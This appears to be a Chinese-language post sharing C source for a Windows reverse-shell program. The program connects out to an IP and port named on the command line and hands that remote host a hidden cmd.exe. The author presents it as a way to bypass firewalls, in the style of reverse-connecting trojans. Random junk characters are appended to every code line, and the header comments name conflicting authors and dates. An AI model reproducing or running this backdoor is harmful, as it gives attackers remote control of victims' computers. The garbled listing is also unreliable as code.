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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &H _/`Z]Q  
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/* ============================== t/i*.>7  
Rebound port in Windows NT 8%4;'[UV  
By wind,2006/7 AB=%yM7V*  
===============================*/ &zn|),  
#include w+m7jn!$  
#include 9WHE4'Sa  
s:<y\1Ay  
#pragma comment(lib,"wsock32.lib") BDt$s( \  
(JU8F-/9  
void OutputShell(); $GoS?\G  
SOCKET sClient; zkt~[-jm}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; e_-g|ukC  
mbAzn  
void main(int argc,char **argv) /{R ^J#  
{ ;apLMMsWC  
WSADATA stWsaData; zDg*ds\  
int nRet; W *0!Z:?  
SOCKADDR_IN stSaiClient,stSaiServer; 2<7pe@c98  
<B%wq>4S  
if(argc != 3) \]Y<d  
{ o. $ 48h(  
printf("Useage:\n\rRebound DestIP DestPort\n"); _9oKW;7f7  
return; mR.j8pi  
} [KUkv  
7$7|~k  
WSAStartup(MAKEWORD(2,2),&stWsaData); j1Ys8k%$l  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w !kk(QMV  
do`'K3a"  
stSaiClient.sin_family = AF_INET; 3SM'vV0[  
stSaiClient.sin_port = htons(0); Q3=X#FQ  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Qfeu3AT  
x~'_;>]r_  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +4J'> dr  
{ A@M2(?w4  
printf("Bind Socket Failed!\n"); +:m)BLA4l  
return; ^PdD-tY<  
} =ZHN]PP  
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stSaiServer.sin_family = AF_INET; :Gz$(!j1.'  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); F_u ?.6e]  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vkLt#yj~  
E; yr46  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) C&F% j.<  
{ oe6Ex5h  
printf("Connect Error!"); uP7|#>1%  
return; ?:q"qwt$F  
} 0#c-qy  
OutputShell(); z@~Z Mk  
} 0?R$>=u  
M|y!,/'  
void OutputShell() XffHF^l9F  
{ YTgT2w  
char szBuff[1024]; 7ey|~u2  
SECURITY_ATTRIBUTES stSecurityAttributes; .K940& Ui  
OSVERSIONINFO stOsversionInfo; =M{&g  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^=I[uX-3ue  
STARTUPINFO stStartupInfo; c5CxR#O  
char *szShell; $IKN7  
PROCESS_INFORMATION stProcessInformation; 9~,!+#  
unsigned long lBytesRead; Q0 PqyobD  
D9(4%^HxV1  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); fk#Ggp<  
M/[9ZgDc  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1_~'?'&^  
stSecurityAttributes.lpSecurityDescriptor = 0; Pi&\GMzd  
stSecurityAttributes.bInheritHandle = TRUE; U:/_T>f%  
B_r:daCS:  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); EY1L5 Ba.  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); I tn?''~;  
RXPl~]k#i  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4[0.M  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KE)^S [Da  
stStartupInfo.wShowWindow = SW_HIDE; g2lv4Tiq-  
stStartupInfo.hStdInput = hReadPipe; 7")&njQ/x  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; OUHd@up@n  
V6<Ki  
GetVersionEx(&stOsversionInfo); F, 5}3$  
Z${@;lgP  
switch(stOsversionInfo.dwPlatformId) {.,y v>%  
{ [s!cc:JR  
case 1: I>3G"[t  
szShell = "command.com"; x(zW<J5X"  
break; z:$TW{%M  
default: TwE&5F*  
szShell = "cmd.exe"; ?y{"OuRf.  
break; E<_+Tc  
} '$OLU[(Y  
dZbG#4oO  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]_)=xF19  
j%&^qD,  
send(sClient,szMsg,77,0); `=foB-(zt  
while(1) Z$@XMq!  
{ "Zicac@N  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]| =#FFz  
if(lBytesRead) _nnl+S>K  
{ 8<ri"m,  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); gs|%3k|  
send(sClient,szBuff,lBytesRead,0); =mk7'A>l  
} ? Kn~fs8  
else 0:Lm=9o  
{ ]+S.#x`#  
lBytesRead=recv(sClient,szBuff,1024,0); 8eoDE. }  
if(lBytesRead<=0) break; <tTn$<b  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Wm ?RB0  
} D9&FCCiUE  
} T%F8=kb-9  
Icf@uQ6  
return; 5k}UXRB?  
}
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